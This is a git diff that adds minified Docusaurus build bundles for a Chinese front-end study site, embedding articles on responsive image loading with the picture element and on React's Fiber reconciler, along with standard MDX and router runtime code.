\u54cd\u5e94\u5f0f\u56fe\u7247\u52a0\u8f7d"),(0,l.kt)("p",null,"\u7531\u4e8e\u7528\u6237\u7ec8\u7aef\u8bbe\u5907\u4e0d\u540c\uff0c\u5982\u679c\u56fe\u7247\u8d44\u6e90\u65e0\u5dee\u522b\u4f7f\u7528\u76f8\u540c\u56fe\u7247\uff0c\u53ef\u80fd\u9020\u6210\u5e26\u5bbd\u6d6a\u8d39\u6216\u8005\u662f\u56fe\u7247\u4e0d\u6e05\u6670\u4ee5\u53ca\u89c6\u89c9\u4f53\u9a8c\u5dee\u7684\u95ee\u9898\u3002"),(0,l.kt)("p",null,"\u4e00\u822c\u53ef\u4ee5\u901a\u8fc7\u4f7f\u7528 picture \u6807\u7b7e\u6765\u5b9a\u4e49\u96f6\u6216\u591a\u4e2a source \u8282\u70b9\u548c\u4e00\u4e2a img \u8282\u70b9\uff0c\u7528\u4e8e\u63d0\u4f9b\u56fe\u7247\u5728\u4e0d\u540c\u8bbe\u5907/\u663e\u793a\u573a\u666f\u4e0b\u5bf9\u5e94\u7684\u5185\u5bb9\u5c55\u793a\u3002picture \u7684\u5e38\u89c1\u4f5c\u7528\u5305\u62ec\uff1a"),(0,l.kt)("ul",null,(0,l.kt)("li",{parentName:"ul"},(0,l.kt)("p",{parentName:"li"},(0,l.kt)("strong",{parentName:"p"},"\u827a\u672f\u6307\u5bfc\uff08Art direction\uff09")),(0,l.kt)("p",{parentName:"li"},"\u4e3a\u4e0d\u540c\u7684\u5a92\u4f53\u6761\u4ef6\u88c1\u526a\u6216\u4fee\u6539\u56fe\u50cf\u3002\u6bd4\u5982\u5728\u8f83\u5c0f\u7684\u663e\u793a\u5668\u4e0a\uff0c\u52a0\u8f7d\u4e00\u4e2a\u66f4\u7a81\u51fa\u91cd\u70b9\u7684\u56fe\u50cf\u3002"),(0,l.kt)("p",{parentName:"li"},(0,l.kt)("img",{parentName:"p",src:"https://user-images.githubusercontent.com/17002181/128734922-3d28cc38-b3c1-4a6e-afd9-5a8c0f5113b1.jpg",alt:"38666B5C621028DD6F3050D95EF1889E"})),(0,l.kt)("pre",{parentName:"li"},(0,l.kt)("code",{parentName:"pre",className:"language-html"},'\n \n \n hzfe-default-avatar\n\n'))),(0,l.kt)("li",{parentName:"ul"},(0,l.kt)("p",{parentName:"li"},(0,l.kt)("strong",{parentName:"p"},"\u63d0\u4f9b\u56fe\u7247\u683c\u5f0f\u56de\u9000\u65b9\u6848")),(0,l.kt)("p",{parentName:"li"},"\u5728\u652f\u6301\u7684\u6d4f\u89c8\u5668\u4e2d\u4f18\u5148\u4f7f\u7528\u66f4\u9002\u5408\u7684\u56fe\u7247\u683c\u5f0f\uff0c\u6bd4\u5982 WebP \u7b49\u3002\u540c\u65f6\u652f\u6301\u5728\u6709\u517c\u5bb9\u6027\u95ee\u9898\u7684\u6d4f\u89c8\u5668\u4e2d\u56de\u9000\u52a0\u8f7d\u5176\u4ed6\u683c\u5f0f\u7684\u56fe\u7247\u3002"),(0,l.kt)("pre",{parentName:"li"},(0,l.kt)("code",{parentName:"pre",className:"language-html"},'\n \n \n hzfe-default-avatar\n\n'))),(0,l.kt)("li",{parentName:"ul"},(0,l.kt)("p",{parentName:"li"},(0,l.kt)("strong",{parentName:"p"},"\u8282\u7701\u5e26\u5bbd\u5e76\u63d0\u5347\u9875\u9762\u52a0\u8f7d\u901f\u5ea6")),(0,l.kt)("p",{parentName:"li"},"\u901a\u8fc7\u6309\u9700\u52a0\u8f7d\u5e76\u663e\u793a\u6700\u9002\u5408\u7528\u6237\u8bbe\u5907\u7684\u56fe\u50cf\uff0c\u4ece\u800c\u8282\u7701\u5e26\u5bbd\u548c\u52a0\u5feb\u9875\u9762\u52a0\u8f7d\u65f6\u95f4\u3002"),(0,l.kt)("pre",{parentName:"li"},(0,l.kt)("code",{parentName:"pre",className:"language-html"},'\n \n \n \n\n')))),(0,l.kt)("h2",{id:"\u53c2\u8003\u8d44\u6599"},"\u53c2\u8003\u8d44\u6599"),(0,l.kt)("ol",null,(0,l.kt)("li",{parentName:"ol"},(0,l.kt)("a",{parentName:"li",href:"https://developer.mozilla.org/en-US/docs/Web/Media/Formats/Image_types"},"image types")),(0,l.kt)("li",{parentName:"ol"},(0,l.kt)("a",{parentName:"li",href:"https://web.dev/fast"},"Fast load times")),(0,l.kt)("li",{parentName:"ol"},(0,l.kt)("a",{parentName:"li",href:"https://w3techs.com/technologies/details/im-webp"},"Usage statistics of WebP for websites")),(0,l.kt)("li",{parentName:"ol"},(0,l.kt)("a",{parentName:"li",href:"https://web.dev/browser-level-image-lazy-loading/"},"Browser-level image lazy-loading for the web"))))}u.isMDXComponent=!0}}]); \ No newline at end of file diff --git a/assets/js/59da24a9.9adc8692.js b/assets/js/59da24a9.9adc8692.js new file mode 100644 index 0000000..7064bb1 --- /dev/null +++ b/assets/js/59da24a9.9adc8692.js @@ -0,0 +1 @@ +"use strict";(self.webpackChunkjjbook=self.webpackChunkjjbook||[]).push([[5365],{3905:function(e,t,r){r.d(t,{Zo:function(){return u},kt:function(){return s}});var n=r(7294);function a(e,t,r){return t in e?Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[t]=r,e}function i(e,t){var r=Object.keys(e);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(e);t&&(n=n.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),r.push.apply(r,n)}return r}function l(e){for(var t=1;t=0||(a[r]=e[r]);return a}(e,t);if(Object.getOwnPropertySymbols){var i=Object.getOwnPropertySymbols(e);for(n=0;n=0||Object.prototype.propertyIsEnumerable.call(e,r)&&(a[r]=e[r])}return a}var c=n.createContext({}),p=function(e){var t=n.useContext(c),r=t;return e&&(r="function"==typeof e?e(t):l(l({},t),e)),r},u=function(e){var t=p(e.components);return n.createElement(c.Provider,{value:t},e.children)},m={inlineCode:"code",wrapper:function(e){var t=e.children;return n.createElement(n.Fragment,{},t)}},k=n.forwardRef((function(e,t){var r=e.components,a=e.mdxType,i=e.originalType,c=e.parentName,u=o(e,["components","mdxType","originalType","parentName"]),k=p(r),s=a,b=k["".concat(c,".").concat(s)]||k[s]||m[s]||i;return r?n.createElement(b,l(l({ref:t},u),{},{components:r})):n.createElement(b,l({ref:t},u))}));function s(e,t){var r=arguments,a=t&&t.mdxType;if("string"==typeof e||a){var i=r.length,l=new Array(i);l[0]=k;var o={};for(var c in t)hasOwnProperty.call(t,c)&&(o[c]=t[c]);o.originalType=e,o.mdxType="string"==typeof e?e:a,l[1]=o;for(var p=2;pHello, HZFE.;\n}\n\nReactDOM.render(, document.getElementById("root"));\n')),(0,i.kt)("p",null,"\u4e0a\u9762\u4ee3\u7801\u4e2d\u6211\u4eec\u5f15\u5165\u7684\u4e24\u4e2a\u5305\uff0c\u5206\u522b\u4ee3\u8868\u4e86 React \u7684 core API \u5c42\u548c\u6e32\u67d3\u5c42\uff0c\u5728\u8fd9\u80cc\u540e\u8fd8\u6709\u4e00\u5c42\u88ab\u79f0\u4e3a\u534f\u8c03\u5668\uff08Reconcilers\uff09\u7684\u5c42\u6b21\u3002\uff08\u534f\u8c03\u5668\u5728",(0,i.kt)("a",{parentName:"p",href:"https://github.com/facebook/react/tree/main/packages/react-reconciler"},"react-reconciler"),"\u4e2d\u5b9e\u73b0\uff09"),(0,i.kt)("p",null,"\u4e00\u4e2a React \u7ec4\u4ef6\u7684\u6e32\u67d3\u4e3b\u8981\u7ecf\u5386\u4e24\u4e2a\u9636\u6bb5\uff1a"),(0,i.kt)("ul",null,(0,i.kt)("li",{parentName:"ul"},"\u8c03\u5ea6\u9636\u6bb5\uff08Reconciler\uff09\uff1a\u7528\u65b0\u7684\u6570\u636e\u751f\u6210\u4e00\u68f5\u65b0\u7684\u6811\uff0c\u7136\u540e\u901a\u8fc7 Diff \u7b97\u6cd5\uff0c\u904d\u5386\u65e7\u7684\u6811\uff0c\u5feb\u901f\u627e\u51fa\u9700\u8981\u66f4\u65b0\u7684\u5143\u7d20\uff0c\u653e\u5230\u66f4\u65b0\u961f\u5217\u4e2d\u53bb\uff0c\u5f97\u5230\u65b0\u7684\u66f4\u65b0\u961f\u5217\u3002"),(0,i.kt)("li",{parentName:"ul"},"\u6e32\u67d3\u9636\u6bb5\uff08Renderer\uff09\uff1a\u904d\u5386\u66f4\u65b0\u961f\u5217\uff0c\u901a\u8fc7\u8c03\u7528\u5bbf\u4e3b\u73af\u5883\u7684 API\uff0c\u5b9e\u9645\u66f4\u65b0\u6e32\u67d3\u5bf9\u5e94\u7684\u5143\u7d20\u3002\u5bbf\u4e3b\u73af\u5883\u5982 DOM\uff0cNative \u7b49\u3002")),(0,i.kt)("p",null,"\u5bf9\u4e8e\u8c03\u5ea6\u9636\u6bb5\uff0c\u65b0\u8001\u67b6\u6784\u4e2d\u6709\u4e0d\u540c\u7684\u5904\u7406\u65b9\u5f0f\uff1a"),(0,i.kt)("p",null,"React 16 \u4e4b\u524d\u4f7f\u7528\u7684\u662f Stack Reconciler\uff08\u6808\u534f\u8c03\u5668\uff09\uff0c\u4f7f\u7528\u9012\u5f52\u7684\u65b9\u5f0f\u521b\u5efa\u865a\u62df DOM\uff0c\u9012\u5f52\u7684\u8fc7\u7a0b\u662f\u4e0d\u80fd\u4e2d\u65ad\u7684\u3002\u5982\u679c\u7ec4\u4ef6\u6811\u7684\u5c42\u7ea7\u5f88\u6df1\uff0c\u9012\u5f52\u66f4\u65b0\u7ec4\u4ef6\u7684\u65f6\u95f4\u8d85\u8fc7 16ms\uff0c\u7528\u6237\u4ea4\u4e92\u5c31\u4f1a\u611f\u89c9\u5230\u5361\u987f\u3002"),(0,i.kt)("p",null,(0,i.kt)("img",{parentName:"p",src:"https://user-images.githubusercontent.com/4338052/127518991-bea34058-35fc-4712-94d7-a3fc8df21df4.png",alt:"image"})),(0,i.kt)("blockquote",null,(0,i.kt)("p",{parentName:"blockquote"},"\u56fe\u7247\u6765\u6e90 ",(0,i.kt)("a",{parentName:"p",href:"https://www.youtube.com/watch?v=5Wd5rxT7e1U&list=PLb0IAmt7-GS3fZ46IGFirdqKTIxlws7e0&index=4"},"react conf 17"))),(0,i.kt)("p",null,"React 16 \u53ca\u4ee5\u540e\u4f7f\u7528\u7684\u662f Fiber Reconciler\uff08\u7ea4\u7ef4\u534f\u8c03\u5668\uff09\uff0c\u5c06\u9012\u5f52\u4e2d\u65e0\u6cd5\u4e2d\u65ad\u7684\u66f4\u65b0\u91cd\u6784\u4e3a\u8fed\u4ee3\u4e2d\u7684\u5f02\u6b65\u53ef\u4e2d\u65ad\u66f4\u65b0\u8fc7\u7a0b\uff0c\u8fd9\u6837\u5c31\u80fd\u591f\u66f4\u597d\u7684\u63a7\u5236\u7ec4\u4ef6\u7684\u6e32\u67d3\u3002"),(0,i.kt)("p",null,(0,i.kt)("img",{parentName:"p",src:"https://user-images.githubusercontent.com/4338052/127519057-56e3a47a-19b4-42b0-9ad6-02b543c633cc.png",alt:"image"})),(0,i.kt)("blockquote",null,(0,i.kt)("p",{parentName:"blockquote"},"\u56fe\u7247\u6765\u6e90 ",(0,i.kt)("a",{parentName:"p",href:"https://www.youtube.com/watch?v=5Wd5rxT7e1U&list=PLb0IAmt7-GS3fZ46IGFirdqKTIxlws7e0&index=4"},"react conf 17"))),(0,i.kt)("h3",{id:"2-fiber-reconciler-\u5982\u4f55\u5de5\u4f5c"},"2. Fiber Reconciler \u5982\u4f55\u5de5\u4f5c"),(0,i.kt)("p",null,"\u7531\u4e8e\u6d4f\u89c8\u5668\u4e2d JS \u7684\u8fd0\u884c\u73af\u5883\u662f\u5355\u7ebf\u7a0b\u7684\uff0c\u56e0\u6b64\uff0c\u4e00\u65e6\u6709\u4efb\u52a1\u8017\u65f6\u8fc7\u957f\uff0c\u5c31\u4f1a\u963b\u585e\u5176\u4ed6\u4efb\u52a1\u7684\u6267\u884c\uff0c\u5bfc\u81f4\u6d4f\u89c8\u5668\u4e0d\u80fd\u53ca\u65f6\u54cd\u5e94\u7528\u6237\u7684\u64cd\u4f5c\uff0c\u4ece\u800c\u4f7f\u7528\u6237\u4f53\u9a8c\u4e0b\u964d\u3002\u4e3a\u89e3\u51b3\u8fd9\u4e2a\u95ee\u9898\uff0cReact \u63a8\u51fa\u4e86 Fiber Reconciler \u67b6\u6784\u3002"),(0,i.kt)("p",null,"\u5728 Fiber \u4e2d\uff0c\u4f1a\u628a\u4e00\u4e2a\u8017\u65f6\u5f88\u957f\u7684\u4efb\u52a1\u5206\u6210\u5f88\u591a\u5c0f\u7684\u4efb\u52a1\u7247\uff0c\u6bcf\u4e00\u4e2a\u4efb\u52a1\u7247\u7684\u8fd0\u884c\u65f6\u95f4\u5f88\u77ed\u3002\u867d\u7136\u603b\u7684\u4efb\u52a1\u6267\u884c\u65f6\u95f4\u4f9d\u7136\u5f88\u957f\uff0c\u4f46\u662f\u5728\u6bcf\u4e2a\u4efb\u52a1\u5c0f\u7247\u6267\u884c\u5b8c\u4e4b\u540e\uff0c\u90fd\u4f1a\u7ed9\u5176\u4ed6\u4efb\u52a1\u4e00\u4e2a\u6267\u884c\u673a\u4f1a\u3002\n\u8fd9\u6837\uff0c\u552f\u4e00\u7684\u7ebf\u7a0b\u5c31\u4e0d\u4f1a\u88ab\u72ec\u5360\uff0c\u5176\u4ed6\u4efb\u52a1\u4e5f\u80fd\u591f\u5f97\u5230\u6267\u884c\u673a\u4f1a\u3002"),(0,i.kt)("p",null,"\u4e3a\u4e86\u5b9e\u73b0\u6e10\u8fdb\u6e32\u67d3\u7684\u76ee\u7684\uff0cFiber \u67b6\u6784\u4e2d\u5f15\u5165\u4e86\u65b0\u7684\u6570\u636e\u7ed3\u6784\uff1aFiber Node\uff0cFiber Node Tree \u6839\u636e React Element Tree \u751f\u6210\uff0c\u5e76\u7528\u6765\u9a71\u52a8\u771f\u5b9e DOM \u7684\u6e32\u67d3\u3002"),(0,i.kt)("p",null,"Fiber \u8282\u70b9\u7684\u5927\u81f4\u7ed3\u6784\uff1a"),(0,i.kt)("pre",null,(0,i.kt)("code",{parentName:"pre",className:"language-js"},"{\n tag: TypeOfWork, // \u6807\u8bc6 fiber \u7c7b\u578b\n type: 'div', // \u548c fiber \u76f8\u5173\u7684\u7ec4\u4ef6\u7c7b\u578b\n return: Fiber | null, // \u7236\u8282\u70b9\n child: Fiber | null, // \u5b50\u8282\u70b9\n sibling: Fiber | null, // \u540c\u7ea7\u8282\u70b9\n alternate: Fiber | null, // diff \u7684\u53d8\u5316\u8bb0\u5f55\u5728\u8fd9\u4e2a\u8282\u70b9\u4e0a\n ...\n}\n")),(0,i.kt)("p",null,"Fiber \u6811\u7ed3\u6784\u5982\u4e0b\uff1a"),(0,i.kt)("p",null,(0,i.kt)("img",{parentName:"p",src:"https://user-images.githubusercontent.com/11912260/44942438-4c0e7f00-ade3-11e8-83ea-161e2aedcf8e.png",alt:"Fiber Tree"})),(0,i.kt)("blockquote",null,(0,i.kt)("p",{parentName:"blockquote"},"\u56fe\u7247\u6765\u6e90 ",(0,i.kt)("a",{parentName:"p",href:"https://www.youtube.com/watch?v=5Wd5rxT7e1U&list=PLb0IAmt7-GS3fZ46IGFirdqKTIxlws7e0&index=4"},"react conf 17"))),(0,i.kt)("p",null,"Fiber \u7684\u4e3b\u8981\u5de5\u4f5c\u6d41\u7a0b\uff1a"),(0,i.kt)("ol",null,(0,i.kt)("li",{parentName:"ol"},(0,i.kt)("inlineCode",{parentName:"li"},"ReactDOM.render()")," \u5f15\u5bfc React \u542f\u52a8\u6216\u8c03\u7528 ",(0,i.kt)("inlineCode",{parentName:"li"},"setState()")," \u7684\u65f6\u5019\u5f00\u59cb\u521b\u5efa\u6216\u66f4\u65b0 Fiber \u6811\u3002"),(0,i.kt)("li",{parentName:"ol"},"\u4ece\u6839\u8282\u70b9\u5f00\u59cb\u904d\u5386 Fiber Node Tree\uff0c \u5e76\u4e14\u6784\u5efa WokeInProgress Tree\uff08reconciliation \u9636\u6bb5\uff09\u3002",(0,i.kt)("ul",{parentName:"li"},(0,i.kt)("li",{parentName:"ul"},"\u672c\u9636\u6bb5\u53ef\u4ee5\u6682\u505c\u3001\u7ec8\u6b62\u3001\u548c\u91cd\u542f\uff0c\u4f1a\u5bfc\u81f4 react \u76f8\u5173\u751f\u547d\u5468\u671f\u91cd\u590d\u6267\u884c\u3002"),(0,i.kt)("li",{parentName:"ul"},"React \u4f1a\u751f\u6210\u4e24\u68f5\u6811\uff0c\u4e00\u68f5\u662f\u4ee3\u8868\u5f53\u524d\u72b6\u6001\u7684 current tree\uff0c\u4e00\u68f5\u662f\u5f85\u66f4\u65b0\u7684 workInProgress tree\u3002"),(0,i.kt)("li",{parentName:"ul"},"\u904d\u5386 current tree\uff0c\u91cd\u7528\u6216\u66f4\u65b0 Fiber Node \u5230 workInProgress tree\uff0cworkInProgress tree \u5b8c\u6210\u540e\u4f1a\u66ff\u6362 current tree\u3002"),(0,i.kt)("li",{parentName:"ul"},"\u6bcf\u66f4\u65b0\u4e00\u4e2a\u8282\u70b9\uff0c\u540c\u65f6\u751f\u6210\u8be5\u8282\u70b9\u5bf9\u5e94\u7684 Effect List\u3002"),(0,i.kt)("li",{parentName:"ul"},"\u4e3a\u6bcf\u4e2a\u8282\u70b9\u521b\u5efa\u66f4\u65b0\u4efb\u52a1\u3002"))),(0,i.kt)("li",{parentName:"ol"},"\u5c06\u521b\u5efa\u7684\u66f4\u65b0\u4efb\u52a1\u52a0\u5165\u4efb\u52a1\u961f\u5217\uff0c\u7b49\u5f85\u8c03\u5ea6\u3002",(0,i.kt)("ul",{parentName:"li"},(0,i.kt)("li",{parentName:"ul"},"\u8c03\u5ea6\u7531 scheduler \u6a21\u5757\u5b8c\u6210\uff0c\u5176\u6838\u5fc3\u804c\u8d23\u662f\u6267\u884c\u56de\u8c03\u3002"),(0,i.kt)("li",{parentName:"ul"},"scheduler \u6a21\u5757\u5b9e\u73b0\u4e86\u8de8\u5e73\u53f0\u517c\u5bb9\u7684 requestIdleCallback\u3002"),(0,i.kt)("li",{parentName:"ul"},"\u6bcf\u5904\u7406\u5b8c\u4e00\u4e2a Fiber Node \u7684\u66f4\u65b0\uff0c\u53ef\u4ee5\u4e2d\u65ad\u3001\u6302\u8d77\uff0c\u6216\u6062\u590d\u3002"))),(0,i.kt)("li",{parentName:"ol"},"\u6839\u636e Effect List \u66f4\u65b0 DOM \uff08commit \u9636\u6bb5\uff09\u3002",(0,i.kt)("ul",{parentName:"li"},(0,i.kt)("li",{parentName:"ul"},"React \u4f1a\u904d\u5386 Effect List \u5c06\u6240\u6709\u53d8\u66f4\u4e00\u6b21\u6027\u66f4\u65b0\u5230 DOM \u4e0a\u3002"),(0,i.kt)("li",{parentName:"ul"},"\u8fd9\u4e00\u9636\u6bb5\u7684\u5de5\u4f5c\u4f1a\u5bfc\u81f4\u7528\u6237\u53ef\u89c1\u7684\u53d8\u5316\u3002\u56e0\u6b64\u8be5\u8fc7\u7a0b\u4e0d\u53ef\u4e2d\u65ad\uff0c\u5fc5\u987b\u4e00\u76f4\u6267\u884c\u76f4\u5230\u66f4\u65b0\u5b8c\u6210\u3002")))),(0,i.kt)("p",null,"React \u8c03\u5ea6\u6d41\u7a0b\u56fe\uff1a"),(0,i.kt)("p",null,(0,i.kt)("img",{parentName:"p",src:"https://user-images.githubusercontent.com/4338052/127530996-23513132-f3ef-4a3e-8553-8bfef2e3669b.png",alt:"image"})),(0,i.kt)("h2",{id:"\u53c2\u8003\u8d44\u6599"},"\u53c2\u8003\u8d44\u6599"),(0,i.kt)("ol",null,(0,i.kt)("li",{parentName:"ol"},(0,i.kt)("a",{parentName:"li",href:"https://github.com/acdlite/react-fiber-architecture"},"React Fiber Architecture")),(0,i.kt)("li",{parentName:"ol"},(0,i.kt)("a",{parentName:"li",href:"https://www.youtube.com/watch?v=7HSd1sk07uU&list=PLb0IAmt7-GS3fZ46IGFirdqKTIxlws7e0"},"React Conf 2017")),(0,i.kt)("li",{parentName:"ol"},(0,i.kt)("a",{parentName:"li",href:"https://blog.ag-grid.com/inside-fiber-an-in-depth-overview-of-the-new-reconciliation-algorithm-in-react/"},"Inside Fiber"))))}k.isMDXComponent=!0}}]); \ No newline at end of file diff --git a/assets/js/5ba709b9.25bb9a23.js b/assets/js/5ba709b9.25bb9a23.js new file mode 100644 index 0000000..60a233f --- /dev/null +++ b/assets/js/5ba709b9.25bb9a23.js @@ -0,0 +1 @@ +"use strict";(self.webpackChunkjjbook=self.webpackChunkjjbook||[]).push([[8765],{3905:function(e,n,t){t.d(n,{Zo:function(){return u},kt:function(){return k}});var r=t(7294);function o(e,n,t){return n in e?Object.defineProperty(e,n,{value:t,enumerable:!0,configurable:!0,writable:!0}):e[n]=t,e}function a(e,n){var t=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);n&&(r=r.filter((function(n){return Object.getOwnPropertyDescriptor(e,n).enumerable}))),t.push.apply(t,r)}return t}function l(e){for(var n=1;n=0||(o[t]=e[t]);return o}(e,n);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(e,t)&&(o[t]=e[t])}return o}var i=r.createContext({}),s=function(e){var n=r.useContext(i),t=n;return e&&(t="function"==typeof e?e(n):l(l({},n),e)),t},u=function(e){var n=s(e.components);return r.createElement(i.Provider,{value:n},e.children)},c={inlineCode:"code",wrapper:function(e){var n=e.children;return r.createElement(r.Fragment,{},n)}},m=r.forwardRef((function(e,n){var t=e.components,o=e.mdxType,a=e.originalType,i=e.parentName,u=p(e,["components","mdxType","originalType","parentName"]),m=s(t),k=o,y=m["".concat(i,".").concat(k)]||m[k]||c[k]||a;return t?r.createElement(y,l(l({ref:n},u),{},{components:t})):r.createElement(y,l({ref:n},u))}));function k(e,n){var t=arguments,o=n&&n.mdxType;if("string"==typeof e||o){var a=t.length,l=new Array(a);l[0]=m;var p={};for(var i in n)hasOwnProperty.call(n,i)&&(p[i]=n[i]);p.originalType=e,p.mdxType="string"==typeof e?e:o,l[1]=p;for(var s=2;s=0||(o[n]=e[n]);return o}(e,t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(o[n]=e[n])}return o}var c=r.createContext({}),p=function(e){var t=r.useContext(c),n=t;return e&&(n="function"==typeof e?e(t):i(i({},t),e)),n},u=function(e){var t=p(e.components);return r.createElement(c.Provider,{value:t},e.children)},s={inlineCode:"code",wrapper:function(e){var t=e.children;return r.createElement(r.Fragment,{},t)}},m=r.forwardRef((function(e,t){var n=e.components,o=e.mdxType,a=e.originalType,c=e.parentName,u=l(e,["components","mdxType","originalType","parentName"]),m=p(n),f=o,d=m["".concat(c,".").concat(f)]||m[f]||s[f]||a;return n?r.createElement(d,i(i({ref:t},u),{},{components:n})):r.createElement(d,i({ref:t},u))}));function f(e,t){var n=arguments,o=t&&t.mdxType;if("string"==typeof e||o){var a=n.length,i=new Array(a);i[0]=m;var l={};for(var c in t)hasOwnProperty.call(t,c)&&(l[c]=t[c]);l.originalType=e,l.mdxType="string"==typeof e?e:o,i[1]=l;for(var p=2;p=0||(o[t]=e[t]);return o}(e,n);if(Object.getOwnPropertySymbols){var i=Object.getOwnPropertySymbols(e);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(e,t)&&(o[t]=e[t])}return o}var c=r.createContext({}),a=function(e){var n=r.useContext(c),t=n;return e&&(t="function"==typeof e?e(n):l(l({},n),e)),t},u=function(e){var n=a(e.components);return r.createElement(c.Provider,{value:n},e.children)},f={inlineCode:"code",wrapper:function(e){var n=e.children;return r.createElement(r.Fragment,{},n)}},p=r.forwardRef((function(e,n){var t=e.components,o=e.mdxType,i=e.originalType,c=e.parentName,u=s(e,["components","mdxType","originalType","parentName"]),p=a(t),d=o,m=p["".concat(c,".").concat(d)]||p[d]||f[d]||i;return t?r.createElement(m,l(l({ref:n},u),{},{components:t})):r.createElement(m,l({ref:n},u))}));function d(e,n){var t=arguments,o=n&&n.mdxType;if("string"==typeof e||o){var i=t.length,l=new Array(i);l[0]=p;var s={};for(var c in n)hasOwnProperty.call(n,c)&&(s[c]=n[c]);s.originalType=e,s.mdxType="string"==typeof e?e:o,l[1]=s;for(var a=2;a0)&&(V.unobserve(n),V.disconnect(),t())}))}))).observe(n))},to:x||""},v&&{isActive:m,activeClassName:h}))}},4973:function(e,n,t){t.d(n,{Z:function(){return f},I:function(){return l}});var r=t(7294),o=/{\w+}/g,u="{}";function i(e,n){var t=[],i=e.replace(o,(function(e){var o=e.substr(1,e.length-2),i=null==n?void 0:n[o];if(void 0!==i){var a=r.isValidElement(i)?i:String(i);return t.push(a),u}return e}));return 0===t.length?e:t.every((function(e){return"string"==typeof e}))?i.split(u).reduce((function(e,n,r){var o;return e.concat(n).concat(null!==(o=t[r])&&void 0!==o?o:"")}),""):i.split(u).reduce((function(e,n,o){return[].concat(e,[r.createElement(r.Fragment,{key:o},n,t[o])])}),[])}function a(e){var n=e.children,t=e.values;if("string"!=typeof n)throw console.warn("Illegal children",n),new Error("The Docusaurus component only accept simple string values");return i(n,t)}var c=t(7529);function s(e){var n,t=e.id,r=e.message;return null!==(n=c[null!=t?t:r])&&void 0!==n?n:r}function l(e,n){var t,r=e.message;return i(null!==(t=s({message:r,id:e.id}))&&void 0!==t?t:r,n)}function f(e){var n,t=e.children,o=e.id,u=e.values;if("string"!=typeof t)throw console.warn("Illegal children",t),new Error("The Docusaurus component only accept simple string values");var i=null!==(n=s({message:t,id:o}))&&void 0!==n?n:t;return r.createElement(a,{values:u},i)}},3919:function(e,n,t){function r(e){return!0===/^(\w*:|\/\/)/.test(e)}function o(e){return void 0!==e&&!r(e)}t.d(n,{b:function(){return r},Z:function(){return o}})},8143:function(e,n,t){t.r(n),t.d(n,{BrowserRouter:function(){return r.VK},HashRouter:function(){return r.UT},Link:function(){return r.rU},MemoryRouter:function(){return r.VA},NavLink:function(){return r.OL},Prompt:function(){return r.NL},Redirect:function(){return r.l_},Route:function(){return r.AW},Router:function(){return r.F0},StaticRouter:function(){return r.gx},Switch:function(){return r.rs},generatePath:function(){return r.Gn},matchPath:function(){return r.LX},useHistory:function(){return r.k6},useLocation:function(){return r.TH},useParams:function(){return r.UO},useRouteMatch:function(){return r.$B},withRouter:function(){return r.EN}});var r=t(3727)},4996:function(e,n,t){t.d(n,{C:function(){return u},Z:function(){return i}});var r=t(2263),o=t(3919);function u(){var e=(0,r.Z)().siteConfig,n=(e=void 0===e?{}:e).baseUrl,t=void 0===n?"/":n,u=e.url;return{withBaseUrl:function(e,n){return function(e,n,t,r){var u=void 0===r?{}:r,i=u.forcePrependBaseUrl,a=void 0!==i&&i,c=u.absolute,s=void 0!==c&&c;if(!t)return t;if(t.startsWith("#"))return t;if((0,o.b)(t))return t;if(a)return n+t;var l=t.startsWith(n)?t:n+t.replace(/^\//,"");return s?e+l:l}(u,t,e,n)}}}function i(e,n){return void 0===n&&(n={}),(0,u().withBaseUrl)(e,n)}},8084:function(e,n,t){t.r(n),t.d(n,{default:function(){return o},useAllPluginInstancesData:function(){return u},usePluginData:function(){return i}});var r=t(2263);function o(){var e=(0,r.Z)().globalData;if(!e)throw new Error("Docusaurus global data not found.");return e}function u(e){var n=o()[e];if(!n)throw new Error('Docusaurus plugin global data not found for "'+e+'" plugin.');return n}function i(e,n){void 0===n&&(n="default");var t=u(e)[n];if(!t)throw new Error('Docusaurus plugin global data not found for "'+e+'" plugin with id "'+n+'".');return t}},2389:function(e,n,t){t.d(n,{Z:function(){return u}});var r=t(7294),o=t(9913);function u(){return(0,r.useContext)(o._)}},8408:function(e,n,t){Object.defineProperty(n,"__esModule",{value:!0}),n.getDocVersionSuggestions=n.getActiveDocContext=n.getActiveVersion=n.getLatestVersion=n.getActivePlugin=void 0;var r=t(8143);n.getActivePlugin=function(e,n,t){void 0===t&&(t={});var o=Object.entries(e).find((function(e){e[0];var t=e[1];return!!r.matchPath(n,{path:t.path,exact:!1,strict:!1})})),u=o?{pluginId:o[0],pluginData:o[1]}:void 0;if(!u&&t.failfast)throw new Error("Can't find active docs plugin for \""+n+'" pathname, while it was expected to be found. Maybe you tried to use a docs feature that can only be used on a docs-related page? Existing docs plugin paths are: '+Object.values(e).map((function(e){return e.path})).join(", "));return u};n.getLatestVersion=function(e){return e.versions.find((function(e){return e.isLast}))};n.getActiveVersion=function(e,t){var o=n.getLatestVersion(e);return[].concat(e.versions.filter((function(e){return e!==o})),[o]).find((function(e){return!!r.matchPath(t,{path:e.path,exact:!1,strict:!1})}))};n.getActiveDocContext=function(e,t){var o,u,i=n.getActiveVersion(e,t),a=null==i?void 0:i.docs.find((function(e){return!!r.matchPath(t,{path:e.path,exact:!0,strict:!1})}));return{activeVersion:i,activeDoc:a,alternateDocVersions:a?(o=a.id,u={},e.versions.forEach((function(e){e.docs.forEach((function(n){n.id===o&&(u[e.name]=n)}))})),u):{}}};n.getDocVersionSuggestions=function(e,t){var r=n.getLatestVersion(e),o=n.getActiveDocContext(e,t);return{latestDocSuggestion:null==o?void 0:o.alternateDocVersions[r.name],latestVersionSuggestion:r}}},6730:function(e,n,t){Object.defineProperty(n,"__esModule",{value:!0}),n.useDocVersionSuggestions=n.useActiveDocContext=n.useActiveVersion=n.useLatestVersion=n.useVersions=n.useActivePluginAndVersion=n.useActivePlugin=n.useDocsData=n.useAllDocsData=void 0;var r=t(655),o=t(8143),u=r.__importStar(t(8084)),i=t(8408),a={};n.useAllDocsData=function(){var e;return null!==(e=u.default()["docusaurus-plugin-content-docs"])&&void 